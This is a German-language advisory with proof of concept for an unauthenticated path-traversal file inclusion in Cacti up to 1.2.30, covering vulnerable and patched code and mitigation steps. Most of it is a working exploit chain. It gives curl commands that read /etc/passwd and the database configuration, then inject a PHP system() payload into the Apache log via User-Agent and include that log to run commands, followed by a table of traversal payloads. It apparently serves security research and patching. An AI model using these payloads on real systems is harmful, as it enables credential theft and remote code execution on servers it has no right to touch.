CVE-2026-39938: Cacti <= 1.2.30 - Nicht authentifiziertes LFI

Zusammenfassung

Feld	Wert
CVE ID	CVE-2026-39938
CVSS-Score	9.8 (Critical)
Betroffenes Produkt	Cacti
Betroffene Versionen	<= 1.2.30
Gepatchte Version	1.2.31
Fix-Commit	9871f0c

Details zur Sicherheitslücke

Ursache

Die Schwachstelle befindet sich in lib/rrd.php, wo der Parameter graph_theme direkt ohne Bereinigung verwendet wird:

ANFÄLLIGER CODE:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

GEPATCHTER CODE:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

Das Problem: Keine Validierung gegen ../-Pfad-Traversal-Sequenzen, sodass Angreifer ohne Authentifizierung beliebige Dateien lesen können.

Proof of Concept (PoC) - Einfache Schritte

Schritt 1: Schwachstelle verifizieren – /etc/passwd lesen

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Ergebnis: Inhalt von /etc/passwd wird in der Antwort angezeigt.

Schritt 2: Datenbankkonfiguration lesen

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Ergebnis: Datenbank-Anmeldedaten (Benutzername, Passwort) werden offengelegt.

Schritt 3: Remote-Code-Ausführung durch Log Poisoning

3.1 PHP-Code in Apache-Log injizieren

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Code durch Einbinden der Logdatei ausführen

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Ergebnis: Die Befehlsausgabe (z. B. uid=33(www-data)) wird angezeigt.

Getestete häufige Endpunkte

PoC-URL-Beispiele

Einfacher LFI-Test

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Anwendungskonfiguration lesen

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Log Poisoning (Injection)

http://target-cacti/graph_image.php?local_graph_id=1

Mit Header: User-Agent: <?php system('id'); ?>

Log Poisoning (Ausführung)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Abhilfe

Auf gepatchte Version aktualisieren

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Patch-Übernahme prüfen

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Temporäre Absicherung (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Referenzen

W.P.E.F

Bericht erstellt für Sicherheitsforschungszwecke Datum: 27. Juni 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Beliebteste